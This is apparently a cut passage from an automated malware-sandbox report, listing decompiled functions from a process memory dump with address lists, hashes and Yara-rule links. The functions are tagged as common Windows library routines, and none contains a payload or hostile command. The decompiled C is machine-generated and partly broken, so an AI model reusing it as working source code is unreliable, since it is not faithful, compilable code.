						if( *((intOrPtr*)(_t63 + 0xc)) != 2) {
							goto L18;
						}
						_t49 =  *((intOrPtr*)(_t63 + 0x14)) + _t71;
						 *_t59 = _t49;
						if( *_t49 != 0x53445352) {
							goto L18;
						}
						 *_a4 =  *((intOrPtr*)(_t63 + 0x10));
						return 0;
						L18:
						_t63 = _t63 + 0x1c;
						_t74 = _t74 + 1;
					} while (_t74 < _t69);
					goto L19;
				}
				 *_t73 = _t41;
				 *((intOrPtr*)(_t73 + 4)) = _t70;
				 *((intOrPtr*)(_t41 + 4)) = _t73;
				 *_t70 = _t73;
				 *(_v16 + 0xdc) =  *(_v16 + 0xdc) | 0x00000010;
				return 0;
			}

0x046790af
0x046790b8
0x046790bb
0x046790bf
0x046790c2
0x046790c2
0x046790c8
0x046790cb
0x046790cd
0x046b14d7
0x046b14eb
0x046b14eb
0x00000000
0x046b14eb
0x046b14db
0x046b14e6
0x00000000
0x046b14f2
0x046b14e8
0x00000000
0x046b14e8
0x046790d8
0x046790da
0x046790dd
0x046790e5
0x00000000
0x04679139
0x046790fa
0x046790fe
0x04679142
0x00000000
0x04679142
0x04679104
0x04679107
0x0467910b
0x04679110
0x04679118
0x04679147
0x04679148
0x0467914f
0x04679150
0x04679151
0x04679152
0x04679156
0x0467915d
0x04679160
0x04679168
0x0467916c
0x046791bc
0x046791be
0x00000000
0x046791be
0x0467916e
0x04679173
0x04679176
0x00000000
0x00000000
0x0467917c
0x04679180
0x046791b5
0x00000000
0x046791b5
0x04679182
0x04679185
0x04679189
0x00000000
0x00000000
0x0467918e
0x04679190
0x04679198
0x00000000
0x00000000
0x046791a0
0x00000000
0x046791ad
0x046791ad
0x046791b0
0x046791b1
0x00000000
0x04679185
0x0467911a
0x0467911c
0x0467911f
0x04679125
0x04679127
0x00000000

Memory Dump Source

Source File: 0000000E.00000002.595187979.0000000004610000.00000040.00000001.sdmp, Offset: 04610000, based on PE: true

Associated: 0000000E.00000002.595560275.000000000472B000.00000040.00000001.sdmp Download File
Associated: 0000000E.00000002.595578353.000000000472F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6bfd702525c1db8ef159ef8001ebf0bb6a8fccc454e16ed8d2a19b71faa45fc1
Instruction ID: 4db161ae57d65fd19bee5a33ba7f6a627772e1b655c9d4f5b6a5b2baf979e835
Opcode Fuzzy Hash: 6bfd702525c1db8ef159ef8001ebf0bb6a8fccc454e16ed8d2a19b71faa45fc1
Instruction Fuzzy Hash: B82141B5A00304EFEB20DF65C844E9AB7F8EB54354F14886AE94597250F670BD558B90

Uniqueness

Uniqueness Score: -1.00%

Function 04663B7A, Relevance: .1, Instructions: 75
COMMON

Download Yara Rule

C-Code - Quality: 59%

			E04663B7A(void* __ecx) {
				signed int _v8;
				char _v12;
				intOrPtr _v20;
				intOrPtr _t17;
				intOrPtr _t26;
				void* _t35;
				void* _t38;
				void* _t41;
				intOrPtr _t44;

				_t17 =  *0x47284c4; // 0x0
				_v12 = 1;
				_v8 =  *0x47284c0 * 0x4c;
				_t41 = __ecx;
				_t35 = L04654620(__ecx,  *((intOrPtr*)( *[fs:0x30] + 0x18)), _t17 + 0x000c0000 | 0x00000008,  *0x47284c0 * 0x4c);
				if(_t35 == 0) {
					_t44 = 0xc0000017;
				} else {
					_push( &_v8);
					_push(_v8);
					_push(_t35);
					_push(4);
					_push( &_v12);
					_push(0x6b);
					_t44 = E0467AA90();
					_v20 = _t44;
					if(_t44 >= 0) {
						E0467FA60( *((intOrPtr*)(_t41 + 0x20)), 0,  *0x47284c0 * 0xc);
						_t38 = _t35;
						if(_t35 < _v8 + _t35) {
							do {
								asm("movsd");
								asm("movsd");
								asm("movsd");
								_t38 = _t38 +  *((intOrPtr*)(_t38 + 4));
							} while (_t38 < _v8 + _t35);
							_t44 = _v20;
						}
					}
					_t26 =  *0x47284c4; // 0x0
					L046577F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), _t26 + 0xc0000, _t35);
				}
				return _t44;
			}

0x04663b89
0x04663b96
0x04663ba1
0x04663bab
0x04663bb5
0x04663bb9
0x046a6298
0x04663bbf
0x04663bc2
0x04663bc3
0x04663bc9
0x04663bca
0x04663bcc
0x04663bcd
0x04663bd4
0x04663bd6
0x04663bdb
0x04663bea
0x04663bf7
0x04663bfb
0x04663bff
0x04663c09
0x04663c0a
0x04663c0b
0x04663c0f
0x04663c14
0x04663c18
0x04663c18
0x04663bfb
0x04663c1b
0x04663c30
0x04663c30
0x04663c3d

Memory Dump Source

Source File: 0000000E.00000002.595187979.0000000004610000.00000040.00000001.sdmp, Offset: 04610000, based on PE: true

Associated: 0000000E.00000002.595560275.000000000472B000.00000040.00000001.sdmp Download File
Associated: 0000000E.00000002.595578353.000000000472F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 49ec894f0fd9b33a3ef04740d38ec3088d295384e717736ffc16810df5b9bb75
Instruction ID: 1bf86e1321ae580654384398f6d6bb4ff32fcd21ad7ed33ba26b38b5bcfe30d3
Opcode Fuzzy Hash: 49ec894f0fd9b33a3ef04740d38ec3088d295384e717736ffc16810df5b9bb75
Instruction Fuzzy Hash: 4721BEB2A00508AFD710DF98CE81B9AB7BDFB40308F154168E909AB251E772BD51CB94

Uniqueness

Uniqueness Score: -1.00%

Function 046B6CF0, Relevance: .1, Instructions: 74
COMMON

Download Yara Rule

C-Code - Quality: 80%

			E046B6CF0(void* __edx, intOrPtr _a4, short _a8) {
				char _v8;
				char _v12;
				char _v16;
				char _v20;
				char _v28;
				char _v36;
				char _v52;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				signed char* _t21;
				void* _t24;
				void* _t36;
				void* _t38;
				void* _t46;

				_push(_t36);
				_t46 = __edx;
				_v12 = 0;
				_v8 = 0;
				_v20 = 0;
				_v16 = 0;
				if(E04657D50() == 0) {
					_t21 = 0x7ffe0384;
				} else {
					_t21 = ( *[fs:0x30])[0x50] + 0x22a;
				}
				if( *_t21 != 0) {
					_t21 =  *[fs:0x30];
					if((_t21[0x240] & 0x00000004) != 0) {
						if(E04657D50() == 0) {
							_t21 = 0x7ffe0385;
						} else {
							_t21 = ( *[fs:0x30])[0x50] + 0x22b;
						}
						if(( *_t21 & 0x00000020) != 0) {
							_t56 = _t46;
							if(_t46 == 0) {
								_t46 = 0x4615c80;
							}
							_push(_t46);
							_push( &_v12);
							_t24 = E0466F6E0(_t36, 0, _t46, _t56);
							_push(_a4);
							_t38 = _t24;
							_push( &_v28);
							_t21 = E0466F6E0(_t38, 0, _t46, _t56);
							if(_t38 != 0) {
								if(_t21 != 0) {
									E046B7016(_a8, 0, 0, 0,  &_v36,  &_v28);
									L04652400( &_v52);
								}
								_t21 = L04652400( &_v28);
							}
						}
					}
				}
				return _t21;
			}

0x046b6cfb
0x046b6d00
0x046b6d02
0x046b6d06
0x046b6d0a
0x046b6d0e
0x046b6d19
0x046b6d2b
0x046b6d1b
0x046b6d24
0x046b6d24
0x046b6d33
0x046b6d39
0x046b6d46
0x046b6d4f
0x046b6d61
0x046b6d51
0x046b6d5a
0x046b6d5a
0x046b6d69
0x046b6d6b
0x046b6d6d
0x046b6d6f
0x046b6d6f
0x046b6d74
0x046b6d79
0x046b6d7a
0x046b6d7f
0x046b6d82
0x046b6d88
0x046b6d89
0x046b6d90
0x046b6d94
0x046b6da7
0x046b6db1
0x046b6db1
0x046b6dbb
0x046b6dbb
0x046b6d90
0x046b6d69
0x046b6d46
0x046b6dc6

Memory Dump Source

Source File: 0000000E.00000002.595187979.0000000004610000.00000040.00000001.sdmp, Offset: 04610000, based on PE: true

Associated: 0000000E.00000002.595560275.000000000472B000.00000040.00000001.sdmp Download File
Associated: 0000000E.00000002.595578353.000000000472F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 63dac2b37a7b68aed30677a3215dd8a904adc5a5aaffc4dacd9c0590241d9929
Instruction ID: ffba40cc1a7ec4913b6f305b20a8292419f3eadfde11c31180759fead1e4383e
Opcode Fuzzy Hash: 63dac2b37a7b68aed30677a3215dd8a904adc5a5aaffc4dacd9c0590241d9929
Instruction Fuzzy Hash: F421CF725042449BD311DF28C944BABB7ECAF91744F08096BB981C7260FB34E949C7E6

Uniqueness

Uniqueness Score: -1.00%

Function 0470070D, Relevance: .1, Instructions: 72
COMMON

Download Yara Rule

C-Code - Quality: 67%

			E0470070D(signed int* __ecx, signed int __edx, void* __eflags, signed int _a4, signed int _a8) {
				char _v8;
				intOrPtr _v11;
				signed int _v12;
				intOrPtr _v15;
				signed int _v16;
				intOrPtr _v28;
				void* __ebx;
				char* _t32;
				signed int* _t38;
				signed int _t60;

				_t38 = __ecx;
				_v16 = __edx;
				_t60 = E047007DF(__ecx, __edx,  &_a4,  &_a8, 2);
				if(_t60 != 0) {
					_t7 = _t38 + 0x38; // 0x29cd5903
					_push( *_t7);
					_t9 = _t38 + 0x34; // 0x6adeeb00
					_push( *_t9);
					_v12 = _a8 << 0xc;
					_t11 = _t38 + 4; // 0x5de58b5b
					_push(0x4000);
					_v8 = (_a4 << 0xc) + (_v16 - ( *__ecx & _v16) >> 4 <<  *_t11) + ( *__ecx & _v16);
					E046FAFDE( &_v8,  &_v12);
					E04701293(_t38, _v28, _t60);
					if(E04657D50() == 0) {
						_t32 = 0x7ffe0380;
					} else {
						_t32 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x226;
					}
					if( *_t32 != 0 && ( *( *[fs:0x30] + 0x240) & 0x00000001) != 0) {
						_t21 = _t38 + 0x3c; // 0xc3595e5f
						E046F14FB(_t38,  *_t21, _v11, _v15, 0xd);
					}
				}
				return  ~_t60;
			}

0x0470071b
0x04700724
0x04700734
0x04700738
0x0470074b
0x0470074b
0x04700753
0x04700753
0x04700759
0x0470075d
0x04700774
0x04700779
0x0470077d
0x04700789
0x04700795
0x047007a7
0x04700797
0x047007a0
0x047007a0
0x047007af
0x047007c4
0x047007cd
0x047007cd
0x047007af
0x047007dc

Memory Dump Source

Source File: 0000000E.00000002.595187979.0000000004610000.00000040.00000001.sdmp, Offset: 04610000, based on PE: true

Associated: 0000000E.00000002.595560275.000000000472B000.00000040.00000001.sdmp Download File
Associated: 0000000E.00000002.595578353.000000000472F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 16b9495bd7cfc8dc207f06a58ad33f13931981def28ffdf8d69df6cf9eebd83e
Instruction ID: b73680c232317af93e9090135913a0ea3096dfd8f88a9c22511f6095ed84f326
Opcode Fuzzy Hash: 16b9495bd7cfc8dc207f06a58ad33f13931981def28ffdf8d69df6cf9eebd83e
Instruction Fuzzy Hash: 1121F236205240DFDB05DF18D884B6ABBE9EBC4360F04C66EF9958B381D634E919CB91

Uniqueness

Uniqueness Score: -1.00%

Function 0465AE73, Relevance: .1, Instructions: 70
COMMON

Download Yara Rule

C-Code - Quality: 96%

			E0465AE73(intOrPtr __ecx, void* __edx) {
				intOrPtr _v8;
				void* _t19;
				char* _t22;
				signed char* _t24;
				intOrPtr _t25;
				intOrPtr _t27;
				void* _t31;
				intOrPtr _t36;
				char* _t38;
				signed char* _t42;

				_push(__ecx);
				_t31 = __edx;
				_v8 = __ecx;
				_t19 = E04657D50();
				_t38 = 0x7ffe0384;
				if(_t19 != 0) {
					_t22 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22a;
				} else {
					_t22 = 0x7ffe0384;
				}
				_t42 = 0x7ffe0385;
				if( *_t22 != 0) {
					if(E04657D50() == 0) {
						_t24 = 0x7ffe0385;
					} else {
						_t24 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22b;
					}
					if(( *_t24 & 0x00000010) != 0) {
						goto L17;
					} else {
						goto L3;
					}
				} else {
					L3:
					_t27 = E04657D50();
					if(_t27 != 0) {
						_t27 =  *[fs:0x30];
						_t38 =  *((intOrPtr*)(_t27 + 0x50)) + 0x22a;
					}
					if( *_t38 != 0) {
						_t27 =  *[fs:0x30];
						if(( *(_t27 + 0x240) & 0x00000004) == 0) {
							goto L5;
						}
						_t27 = E04657D50();
						if(_t27 != 0) {
							_t27 =  *[fs:0x30];
							_t42 =  *((intOrPtr*)(_t27 + 0x50)) + 0x22b;
						}
						if(( *_t42 & 0x00000020) != 0) {
							L17:
							_t25 = _v8;
							_t36 = 0;
							if(_t25 != 0) {
								_t36 =  *((intOrPtr*)(_t25 + 0x18));
							}
							_t27 = E046B7794( *((intOrPtr*)(_t31 + 0x18)), _t36,  *((intOrPtr*)(_t31 + 0x94)),  *(_t31 + 0x24) & 0x0000ffff,  *((intOrPtr*)(_t31 + 0x28)));
						}
						goto L5;
					} else {
						L5:
						return _t27;
					}
				}
			}

0x0465ae78
0x0465ae7c
0x0465ae7e
0x0465ae81
0x0465ae86
0x0465ae8d
0x046a2691
0x0465ae93
0x0465ae93
0x0465ae93
0x0465ae98
0x0465ae9d
0x046a26a2
0x046a26b4
0x046a26a4
0x046a26ad
0x046a26ad
0x046a26b9
0x00000000
0x046a26bb
0x00000000
0x046a26bb
0x0465aea3
0x0465aea3
0x0465aea3
0x0465aeaa
0x046a26c0
0x046a26c9
0x046a26c9
0x0465aeb3
0x046a26d4
0x046a26e1
0x00000000
0x00000000
0x046a26e7
0x046a26ee
0x046a26f0
0x046a26f9
0x046a26f9
0x046a2702
0x046a2708
0x046a2708
0x046a270b
0x046a270f
0x046a2711
0x046a2711
0x046a2725
0x046a2725
0x00000000
0x0465aeb9
0x0465aeb9
0x0465aebf
0x0465aebf
0x0465aeb3

Memory Dump Source

Source File: 0000000E.00000002.595187979.0000000004610000.00000040.00000001.sdmp, Offset: 04610000, based on PE: true

Associated: 0000000E.00000002.595560275.000000000472B000.00000040.00000001.sdmp Download File
Associated: 0000000E.00000002.595578353.000000000472F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 892ffc7d7f960dfab719e72e37e7183e7cc58ff0f898e4f283d94cb5f6144d78
Instruction ID: 6d537702f0bdda4ee2a6b12468770442ab4917a6b1d87750a17fadc20989603f
Opcode Fuzzy Hash: 892ffc7d7f960dfab719e72e37e7183e7cc58ff0f898e4f283d94cb5f6144d78
Instruction Fuzzy Hash: E0210E31742A849FEB229B68C954B2537E8EF54340F1D02E1EC048B7A2F738FC51DAA0

Uniqueness

Uniqueness Score: -1.00%

Function 046B7794, Relevance: .1, Instructions: 70
COMMON

Download Yara Rule

C-Code - Quality: 82%

			E046B7794(intOrPtr __ecx, intOrPtr __edx, intOrPtr _a4, unsigned int _a8, void* _a12) {
				intOrPtr _v8;
				intOrPtr _v12;
				intOrPtr _t21;
				void* _t24;
				intOrPtr _t25;
				void* _t36;
				short _t39;
				signed char* _t42;
				unsigned int _t46;
				void* _t50;

				_push(__ecx);
				_push(__ecx);
				_t21 =  *0x4727b9c; // 0x0
				_t46 = _a8;
				_v12 = __edx;
				_v8 = __ecx;
				_t4 = _t46 + 0x2e; // 0x2e
				_t36 = _t4;
				_t24 = L04654620(__ecx,  *((intOrPtr*)( *[fs:0x30] + 0x18)), _t21 + 0x180000, _t36);
				_t50 = _t24;
				if(_t50 != 0) {
					_t25 = _a4;
					if(_t25 == 5) {
						L3:
						_t39 = 0x14b1;
					} else {
						_t39 = 0x14b0;
						if(_t25 == 6) {
							goto L3;
						}
					}
					 *((short*)(_t50 + 6)) = _t39;
					 *((intOrPtr*)(_t50 + 0x28)) = _t25;
					_t11 = _t50 + 0x2c; // 0x2c
					 *((intOrPtr*)(_t50 + 0x20)) = _v8;
					 *((intOrPtr*)(_t50 + 0x24)) = _v12;
					E0467F3E0(_t11, _a12, _t46);
					 *((short*)(_t50 + 0x2c + (_t46 >> 1) * 2)) = 0;
					if(E04657D50() == 0) {
						_t42 = 0x7ffe0384;
					} else {
						_t42 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22a;
					}
					_push(_t50);
					_t19 = _t36 - 0x20; // 0xe
					_push(0x403);
					_push( *_t42 & 0x000000ff);
					E04679AE0();
					_t24 = L046577F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t50);
				}
				return _t24;
			}

0x046b7799
0x046b779a
0x046b779b
0x046b77a3
0x046b77ab
0x046b77ae
0x046b77b1
0x046b77b1
0x046b77bf
0x046b77c4
0x046b77c8
0x046b77ce
0x046b77d4
0x046b77e0
0x046b77e0
0x046b77d6
0x046b77d6
0x046b77de
0x00000000
0x00000000
0x046b77de
0x046b77e5
0x046b77f0
0x046b77f3
0x046b77f6
0x046b77fd
0x046b7800
0x046b780c
0x046b7818
0x046b782b
0x046b781a
0x046b7823
0x046b7823
0x046b7830
0x046b7831
0x046b7838
0x046b783d
0x046b783e
0x046b784f
0x046b784f
0x046b785a

Memory Dump Source

Source File: 0000000E.00000002.595187979.0000000004610000.00000040.00000001.sdmp, Offset: 04610000, based on PE: true

Associated: 0000000E.00000002.595560275.000000000472B000.00000040.00000001.sdmp Download File
Associated: 0000000E.00000002.595578353.000000000472F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f3f922c8507f95799b5168507dec3b26d7d15d298d545b55695284c6ad567d4a
Instruction ID: a5cdb2e3aa0c8b8e55899c20405f812aa85430cec6f828b6d21e12d95a722360
Opcode Fuzzy Hash: f3f922c8507f95799b5168507dec3b26d7d15d298d545b55695284c6ad567d4a
Instruction Fuzzy Hash: 5721A172500604ABC725DF69DC80EABB7B8EF88341F10456DF94AC7760E634E940CB98

Uniqueness

Uniqueness Score: -1.00%

Function 0466FD9B, Relevance: .1, Instructions: 69
COMMON

Download Yara Rule

C-Code - Quality: 93%

			E0466FD9B(intOrPtr __ecx, intOrPtr __edx, intOrPtr _a4) {
				intOrPtr _v8;
				void* _t19;
				intOrPtr _t29;
				intOrPtr _t32;
				intOrPtr _t35;
				intOrPtr _t37;
				intOrPtr* _t40;

				_t35 = __edx;
				_push(__ecx);
				_push(__ecx);
				_t37 = 0;
				_v8 = __edx;
				_t29 = __ecx;
				if( *((intOrPtr*)( *[fs:0x18] + 0xfbc)) != 0) {
					_t40 =  *((intOrPtr*)( *[fs:0x18] + 0xfbc));
					L3:
					_t19 = _a4 - 4;
					if(_t19 != 0) {
						if(_t19 != 1) {
							L7:
							return _t37;
						}
						if(_t35 == 0) {
							L11:
							_t37 = 0xc000000d;
							goto L7;
						}
						if( *((intOrPtr*)(_t40 + 4)) != _t37) {
							L046577F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), _t37,  *((intOrPtr*)(_t40 + 4)));
							_t35 = _v8;
						}
						 *((intOrPtr*)(_t40 + 4)) = _t35;
						goto L7;
					}
					if(_t29 == 0) {
						goto L11;
					}
					_t32 =  *_t40;
					if(_t32 != 0) {
						 *((intOrPtr*)(_t29 + 0x20)) =  *((intOrPtr*)(_t32 + 0x20));
						E046476E2( *_t40);
					}
					 *_t40 = _t29;
					goto L7;
				}
				_t40 = L04654620(__ecx,  *((intOrPtr*)( *[fs:0x30] + 0x18)), 8, 8);
				if(_t40 == 0) {
					_t37 = 0xc0000017;
					goto L7;
				}
				_t35 = _v8;
				 *_t40 = 0;
				 *((intOrPtr*)(_t40 + 4)) = 0;
				 *((intOrPtr*)( *[fs:0x18] + 0xfbc)) = _t40;
				goto L3;
			}

0x0466fd9b
0x0466fda0
0x0466fda1
0x0466fdab
0x0466fdad
0x0466fdb0
0x0466fdb8
0x0466fe0f
0x0466fde6
0x0466fde9
0x0466fdec
0x046ac0c0
0x0466fdfe
0x0466fe06
0x0466fe06
0x046ac0c8
0x0466fe2d
0x0466fe2d
0x00000000
0x0466fe2d
0x046ac0d1
0x046ac0e0
0x046ac0e5
0x046ac0e5
0x046ac0e8
0x00000000
0x046ac0e8
0x0466fdf4
0x00000000
0x00000000
0x0466fdf6
0x0466fdfa
0x0466fe1a
0x0466fe1f
0x0466fe1f
0x0466fdfc
0x00000000
0x0466fdfc
0x0466fdcc
0x0466fdd0
0x0466fe26
0x00000000
0x0466fe26
0x0466fdd8
0x0466fddb
0x0466fddd
0x0466fde0
0x00000000

Memory Dump Source

Source File: 0000000E.00000002.595187979.0000000004610000.00000040.00000001.sdmp, Offset: 04610000, based on PE: true

Associated: 0000000E.00000002.595560275.000000000472B000.00000040.00000001.sdmp Download File
Associated: 0000000E.00000002.595578353.000000000472F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bea69b06ccd41e2ab95b3552422c6337f6d423ba3d9b45e75fab26429da45353
Instruction ID: c268f3dc349391f412638acbe777e77982e517454130459063d6f80f3d09b5f7
Opcode Fuzzy Hash: bea69b06ccd41e2ab95b3552422c6337f6d423ba3d9b45e75fab26429da45353
Instruction Fuzzy Hash: 37217C72601A41DBD739CF09E540A66FBE5EBA4B10F24816EE9468B711F731BC01DB80

Uniqueness

Uniqueness Score: -1.00%

Function 04639240, Relevance: .1, Instructions: 63
COMMON

Download Yara Rule

C-Code - Quality: 77%

			E04639240(void* __ebx, intOrPtr __ecx, void* __edi, void* __esi, void* __eflags) {
				intOrPtr _t33;
				intOrPtr _t37;
				intOrPtr _t41;
				intOrPtr* _t46;
				void* _t48;
				intOrPtr _t50;
				intOrPtr* _t60;
				void* _t61;
				intOrPtr _t62;
				intOrPtr _t65;
				void* _t66;
				void* _t68;

				_push(0xc);
				_push(0x470f708);
				E0468D08C(__ebx, __edi, __esi);
				_t65 = __ecx;
				 *((intOrPtr*)(_t68 - 0x1c)) = __ecx;
				if( *(__ecx + 0x24) != 0) {
					_push( *(__ecx + 0x24));
					E046795D0();
					 *(__ecx + 0x24) =  *(__ecx + 0x24) & 0x00000000;
				}
				L6();
				L6();
				_push( *((intOrPtr*)(_t65 + 0x28)));
				E046795D0();
				_t33 =  *0x47284c4; // 0x0
				L046577F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), _t33 + 0xc0000,  *((intOrPtr*)(_t65 + 0x10)));
				_t37 =  *0x47284c4; // 0x0
				L046577F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), _t37 + 0xc0000,  *((intOrPtr*)(_t65 + 0x1c)));
				_t41 =  *0x47284c4; // 0x0
				E04652280(L046577F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), _t41 + 0xc0000,  *((intOrPtr*)(_t65 + 0x20))), 0x47286b4);
				 *(_t68 - 4) =  *(_t68 - 4) & 0x00000000;
				_t46 = _t65 + 0xe8;
				_t62 =  *_t46;
				_t60 =  *((intOrPtr*)(_t46 + 4));
				if( *((intOrPtr*)(_t62 + 4)) != _t46 ||  *_t60 != _t46) {
					_t61 = 3;
					asm("int 0x29");
					_push(_t65);
					_t66 = _t61;
					_t23 = _t66 + 0x14; // 0x8df8084c
					_push( *_t23);
					E046795D0();
					_t24 = _t66 + 0x10; // 0x89e04d8b
					_push( *_t24);
					 *(_t66 + 0x38) =  *(_t66 + 0x38) & 0x00000000;
					_t48 = E046795D0();
					 *(_t66 + 0x14) =  *(_t66 + 0x14) & 0x00000000;
					 *(_t66 + 0x10) =  *(_t66 + 0x10) & 0x00000000;
					return _t48;
				} else {
					 *_t60 = _t62;
					 *((intOrPtr*)(_t62 + 4)) = _t60;
					 *(_t68 - 4) = 0xfffffffe;
					E04639325();
					_t50 =  *0x47284c4; // 0x0
					return E0468D0D1(L046577F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), _t50 + 0xc0000, _t65));
				}
			}

0x04639240
0x04639242
0x04639247
0x0463924c
0x0463924e
0x04639255
0x04639257
0x0463925a
0x0463925f
0x0463925f
0x04639266
0x04639271
0x04639276
0x04639279
0x0463927e
0x04639295
0x0463929a
0x046392b1
0x046392b6
0x046392d7
0x046392dc
0x046392e0
0x046392e6
0x046392e8
0x046392ee
0x04639332
0x04639333
0x04639337
0x04639338
0x0463933a
0x0463933a
0x0463933d
0x04639342
0x04639342
0x04639345
0x04639349
0x0463934e
0x04639352
0x04639357
0x046392f4
0x046392f4
0x046392f6
0x046392f9
0x04639300
0x04639306
0x04639324
0x04639324

Memory Dump Source

Source File: 0000000E.00000002.595187979.0000000004610000.00000040.00000001.sdmp, Offset: 04610000, based on PE: true

Associated: 0000000E.00000002.595560275.000000000472B000.00000040.00000001.sdmp Download File
Associated: 0000000E.00000002.595578353.000000000472F000.00000040.00000001.sdmp Download File

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: fb104a5b1342d8db72de89171e1e2bf9cf16b9a90f34b582ba1b2a28444ee5ef
Instruction ID: a87bc16289b10d04184a2188b314947e815eaca4b3e1292b8982670c8d2fff8e
Opcode Fuzzy Hash: fb104a5b1342d8db72de89171e1e2bf9cf16b9a90f34b582ba1b2a28444ee5ef
Instruction Fuzzy Hash: 032139B1041A40DFE721EF28CA40F55B7B9EF08709F15866CE049866B1E675F945CF49

Uniqueness

Uniqueness Score: -1.00%

Function 0466B390, Relevance: .1, Instructions: 63
COMMON

Download Yara Rule

C-Code - Quality: 54%

			E0466B390(void* __ecx, intOrPtr _a4) {
				signed int _v8;
				signed char _t12;
				signed int _t16;
				signed int _t21;
				void* _t28;
				signed int _t30;
				signed int _t36;
				signed int _t41;

				_push(__ecx);
				_t41 = _a4 + 0xffffffb8;
				E04652280(_t12, 0x4728608);
				 *(_t41 + 0x34) =  *(_t41 + 0x34) - 1;
				asm("sbb edi, edi");
				_t36 =  !( ~( *(_t41 + 0x34))) & _t41;
				_v8 = _t36;
				asm("lock cmpxchg [ebx], ecx");
				_t30 = 1;
				if(1 != 1) {
					while(1) {
						_t21 = _t30 & 0x00000006;
						_t16 = _t30;
						_t28 = (0 | _t21 == 0x00000002) * 4 - 1 + _t30;
						asm("lock cmpxchg [edi], esi");
						if(_t16 == _t30) {
							break;
						}
						_t30 = _t16;
					}
					_t36 = _v8;
					if(_t21 == 2) {
						_t16 = E046700C2(0x4728608, 0, _t28);
					}
				}
				if(_t36 != 0) {
					_t16 = L046577F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t36);
				}
				return _t16;
			}

0x0466b395
0x0466b3a2
0x0466b3a5
0x0466b3aa
0x0466b3b2
0x0466b3ba
0x0466b3bd
0x0466b3c0
0x0466b3c4
0x0466b3c9
0x046aa3e9
0x046aa3ed
0x046aa3f0
0x046aa3ff
0x046aa403
0x046aa409
0x00000000
0x00000000
0x046aa40b
0x046aa40b
0x046aa40f
0x046aa415
0x046aa423
0x046aa423
0x046aa415
0x0466b3d1
0x0466b3e8
0x0466b3e8
0x0466b3d9

Memory Dump Source

Source File: 0000000E.00000002.595187979.0000000004610000.00000040.00000001.sdmp, Offset: 04610000, based on PE: true

Associated: 0000000E.00000002.595560275.000000000472B000.00000040.00000001.sdmp Download File
Associated: 0000000E.00000002.595578353.000000000472F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3cd00e4c60a697bcc47dbadaf56814b33967f7d77f72be184b0aeaae44e6bfe7
Instruction ID: 9f5a4290c2e906ac07f0c0c9a9613fac645c12c146650f917da3a76a3852740e
Opcode Fuzzy Hash: 3cd00e4c60a697bcc47dbadaf56814b33967f7d77f72be184b0aeaae44e6bfe7
Instruction Fuzzy Hash: FD1148333012209BDB289A589E81A6B7296EBD5730B25023DDD17D7390F932BC02C695

Uniqueness

Uniqueness Score: -1.00%

Function 046C4257, Relevance: .1, Instructions: 60
COMMON

Download Yara Rule

C-Code - Quality: 90%

			E046C4257(void* __ebx, void* __ecx, intOrPtr* __edi, void* __esi, void* __eflags) {
				intOrPtr* _t18;
				intOrPtr _t24;
				intOrPtr* _t27;
				intOrPtr* _t30;
				intOrPtr* _t31;
				intOrPtr _t33;
				intOrPtr* _t34;
				intOrPtr* _t35;
				void* _t37;
				void* _t38;
				void* _t39;
				void* _t43;

				_t39 = __eflags;
				_t35 = __edi;
				_push(8);
				_push(0x47108d0);
				E0468D08C(__ebx, __edi, __esi);
				_t37 = __ecx;
				E046C41E8(__ebx, __edi, __ecx, _t39);
				E0464EEF0( *((intOrPtr*)( *[fs:0x30] + 0x1c)));
				 *(_t38 - 4) =  *(_t38 - 4) & 0x00000000;
				_t18 = _t37 + 8;
				_t33 =  *_t18;
				_t27 =  *((intOrPtr*)(_t18 + 4));
				if( *((intOrPtr*)(_t33 + 4)) != _t18 ||  *_t27 != _t18) {
					L8:
					_push(3);
					asm("int 0x29");
				} else {
					 *_t27 = _t33;
					 *((intOrPtr*)(_t33 + 4)) = _t27;
					_t35 = 0x47287e4;
					_t18 =  *0x47287e0; // 0x0
					while(_t18 != 0) {
						_t43 = _t18 -  *0x4725cd0; // 0xffffffff
						if(_t43 >= 0) {
							_t31 =  *0x47287e4; // 0x0
							_t18 =  *_t31;
							if( *((intOrPtr*)(_t31 + 4)) != _t35 ||  *((intOrPtr*)(_t18 + 4)) != _t31) {
								goto L8;
							} else {
								 *0x47287e4 = _t18;
								 *((intOrPtr*)(_t18 + 4)) = _t35;
								L04637055(_t31 + 0xfffffff8);
								_t24 =  *0x47287e0; // 0x0
								_t18 = _t24 - 1;
								 *0x47287e0 = _t18;
								continue;
							}
						}
						goto L9;
					}
				}
				L9:
				__eflags =  *0x4725cd0;
				if( *0x4725cd0 <= 0) {
					L04637055(_t37);
				} else {
					_t30 = _t37 + 8;
					_t34 =  *0x47287e8; // 0x0
					__eflags =  *_t34 - _t35;
					if( *_t34 != _t35) {
						goto L8;
					} else {
						 *_t30 = _t35;
						 *((intOrPtr*)(_t30 + 4)) = _t34;
						 *_t34 = _t30;
						 *0x47287e8 = _t30;
						 *0x47287e0 = _t18 + 1;
					}
				}
				 *(_t38 - 4) = 0xfffffffe;
				return E0468D0D1(L046C4320());
			}

0x046c4257
0x046c4257
0x046c4257
